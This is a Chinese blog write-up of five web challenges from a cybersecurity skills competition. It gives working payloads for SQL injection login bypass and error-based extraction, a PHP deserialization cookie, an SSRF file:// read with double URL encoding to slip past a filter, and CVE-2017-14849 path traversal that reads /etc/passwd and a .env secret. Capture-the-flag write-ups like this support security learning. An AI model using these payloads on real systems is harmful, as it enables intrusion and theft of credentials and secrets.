飞道的博客

网络安全管理职业技能竞赛Web writeup

486人阅读  评论(0)

如果你也想练习CTF,请点击CTF实验室

Web

0x01 easy_sql

一开始看到是easysql,那就先上sqlmap跑跑看,跑出了数据库名security以及若干表名

继续跑flag,结果没跑出来,最后还是上手工了。

测试输入一个单引号,页面无反应,但是在源码中发现了又报错信息

接着用单引号和括号闭合,报错注入,之后想了一下,为什么页面没有回显呢,原来是因为错误信息居然显示白色,前期被骗了很久,用鼠标描一下即可看到。

uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb

 

uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb

 

 

 

0x02 ezsqli

开局一个输入框

查看hint得到源码


   
  1. //a "part" of the source code here
  2. function sqlWaf($s)
  3. {
  4. $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
  5. if (preg_match($filter,$s))
  6. return False;
  7. return True;
  8. }
  9. if ( isset($_POST[ 'username']) && isset($_POST[ 'password'])) {
  10. if (! isset($_SESSION[ 'VerifyCode']))
  11. die( "?");
  12. $username = strval($_POST[ 'username']);
  13. $password = strval($_POST[ 'password']);
  14. if ( !sqlWaf($password) )
  15. alertMes( 'damn hacker' , "./index.php");
  16. $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
  17. // password format: /[A-Za-z0-9]/
  18. $result = $conn->query($sql);
  19. if ($result->num_rows > 0) {
  20. $row = $result->fetch_assoc();
  21. if ( $row[ 'username'] === 'admin' && $row[ 'password'] )
  22. {
  23. if ($row[ 'password'] == $password)
  24. {
  25. $message = $FLAG;
  26. } else {
  27. $message = "username or password wrong, are you admin?";
  28. }
  29. } else {
  30. $message = "wrong user";
  31. }
  32. } else {
  33. $message = "user not exist or wrong password";
  34. }
  35. }
  36. ?>

password被过滤了,usename没有过滤,使用联合查询,构造username和password返回admin即可

username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK

0x03 warmup

下载源码开始审计,在index.php中发现了unserialize,估计是考察反序列化的利用了


   
  1. ···
  2. if ( isset ($_COOKIE[ 'last_login_info'])) {
  3. $last_login_info = unserialize (base64_decode ($_COOKIE[ 'last_login_info']));
  4. try {
  5. if (is_array($last_login_info) && $last_login_info[ 'ip'] != $_SERVER[ 'REMOTE_ADDR']) {
  6. die( 'WAF info: your ip status has been changed, you are dangrous.');
  7. }
  8. } catch( Exception $e) {
  9. die( 'Error');
  10. }
  11. } else {
  12. $cookie = base64_encode (serialize ( array ( 'ip' => $_SERVER[ 'REMOTE_ADDR']))) ;
  13. setcookie ( 'last_login_info', $cookie, time () + ( 86400 * 30));
  14. }
  15. ···

conn.php源码


   
  1. include 'flag.php';
  2. class SQL {
  3. public $table = '';
  4. public $username = '';
  5. public $password = '';
  6. public $conn;
  7. public function __construct() {
  8. }
  9. public function connect() {
  10. $this->conn = new mysqli( "localhost", "xxxxx", "xxxx", "xxxx");
  11. }
  12. public function check_login(){
  13. $result = $this->query();
  14. if ($result === false) {
  15. die( "database error, please check your input");
  16. }
  17. $row = $result->fetch_assoc();
  18. if($row === NULL){
  19. die( "username or password incorrect!");
  20. } else if($row[ 'username'] === 'admin'){
  21. $flag = file_get_contents( 'flag.php');
  22. echo "welcome, admin! this is your flag -> ".$flag;
  23. } else{
  24. echo "welcome! but you are not admin";
  25. }
  26. $result->free();
  27. }
  28. public function query() {
  29. $this->waf();
  30. return $this->conn->query ( "select username,password from ". $this->table. " where username='". $this->username. "' and password='". $this->password. "'");
  31. }
  32. public function waf(){
  33. $blacklist = [ "union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
  34. foreach ($blacklist as $value) {
  35. if(strripos( $this->table, $value)){
  36. die( 'bad hacker,go out!');
  37. }
  38. }
  39. foreach ($blacklist as $value) {
  40. if(strripos( $this->username, $value)){
  41. die( 'bad hacker,go out!');
  42. }
  43. }
  44. foreach ($blacklist as $value) {
  45. if(strripos( $this->password, $value)){
  46. die( 'bad hacker,go out!');
  47. }
  48. }
  49. }
  50. public function __wakeup(){
  51. if (! isset ( $this->conn)) {
  52. $this->connect ();
  53. }
  54. if( $this->table){
  55. $this->waf();
  56. }
  57. $this->check_login();
  58. $this->conn->close();
  59. }
  60. }
  61. ?>

可以看到在check_login中,有个flag的输出点,前提是我们需要伪造成admin用户

继续往下看,有个执行SQL语句的地方


   
  1. public function query() {
  2. $this->waf();
  3. return $this->conn->query ( "select username,password from ". $this->table. " where username='". $this->username. "' and password='". $this->password. "'");
  4. }

下面还有个waf,看了一下,发现我们需要构造的万能密码所用到的字符不会被ban


   
  1. $blacklist = [ "union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
  2. foreach ($blacklist as $value) {
  3. if(strripos( $this->table, $value)){
  4. die( 'bad hacker,go out!');
  5. }
  6. }

所以这里我们可以利用SQL注入来变成admin登录,username改为admin,password为万能密码a' or '1'='1,代码如下:


   
  1. include "conn.php";
  2. $sql = new SQL();
  3. $sql->table = "users";
  4. $sql->username = "admin";
  5. $sql->password = "a'or'1'='1";
  6. $a = serialize($sql);
  7. echo $a;
  8. echo base64_encode ($a);

   
  1. 得到
  2. TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9,
  3. 输入之后获得flag

0x04 ssrfME

访问可以看到有两个输入点,一个可以输入url,一个是验证码

脚本爆破验证


   
  1. <?php
  2. for ($i=0; $i < 1000000000; $i++) {
  3. $a = substr(md5($i), -6, 6); if ($a == "d17b5b") { echo $i; break; }
  4. }
  5. ?>

尝试使用file协议读取,发现读取/etc/passwd成功

读取/flag,没成功,尝试读取/var/www/html/index.php,得到源码,原来是有个waf过滤了flag


   
  1. ···
  2. if ( isset($_POST[ 'url']) && isset($_POST[ 'captcha']) && ! empty($_POST[ 'url']) && ! empty($_POST[ 'captcha']))
  3. {
  4. $url = $_POST[ 'url'];
  5. $captcha = $_POST[ 'captcha'];
  6. $is_post = 1;
  7. if ( $captcha !== $_SESSION[ 'answer'])
  8. {
  9. $die_mess = "wrong captcha";
  10. $is_die = 1;
  11. }
  12. if ( preg_match( '/flag|proc|log/i', $url) )
  13. {
  14. $die_mess = "hacker";
  15. $is_die = 1;
  16. }
  17. }
  18. ···

file协议读flag,利用两个url编码flag绕过

url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049

0x05 SecretGuess

题目给了源码,但是不全

在index.html中发现了source,点击可以看到源码


   
  1. const express = require( 'express');
  2. const path = require( 'path');
  3. const env = require( 'dotenv').config();
  4. const bodyParser = require( 'body-parser');
  5. const crypto = require( 'crypto');
  6. const fs = require( 'fs')
  7. const hbs = require( 'hbs');
  8. const process = require( "child_process")
  9. const app = express();
  10. app.use( '/static', express.static(path.join(__dirname, 'public')));
  11. app.use(bodyParser.urlencoded({ extended: false }))
  12. app.use(bodyParser.json());
  13. app.set( 'views', path.join(__dirname, "views/"))
  14. app.engine( 'html', hbs.__express)
  15. app.set( 'view engine', 'html')
  16. app.get( '/', (req, res) => { res.render( "index")
  17. })
  18. app.post( '/', (req, res) => { if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash( 'md5').update(env.parsed.secret).digest( 'hex') === req.body.auth ) { res.render( "index", {result: process.execSync( "echo $FLAG")}) } else { res.render( "index", {result: "wrong secret"}) }
  19. })
  20. app.get( '/source', (req, res) => { res.end(fs.readFileSync(path.join(__dirname, "app.js")))
  21. })
  22. app.listen( 80, "0.0.0.0");

在给出dockerfile中,文件内容为


   
  1. FROM node:8.5
  2. COPY ./src /usr/local/app
  3. WORKDIR /usr/local/app
  4. ENV FLAG=flag{**********}
  5. RUN npm i --registry=https://registry.npm.taobao.org
  6. EXPOSE 80
  7. CMD node /usr/local/app/app.js

去搜索相关内容,发现了可能会存在CVE-2017-14849漏洞

输入/static/../../a/../../..//etc/passwd,利用成功

接着去获取secret,/static/../../a/../../../usr/local/app/.env,得到secret=CVE-2017-14849

根据源码中的条件

if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )

我们将CVE-2017-14849进行md5加密之后提交即可获得flag,auth=10523ece56c1d399dae057b3ac1ad733

11/13

欢迎投稿至邮箱:EDU@antvsion.com

有才能的你快来投稿吧!

戳“阅读原文”开始get同款ctf体验


转载:https://blog.csdn.net/qq_38154820/article/details/109685538
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场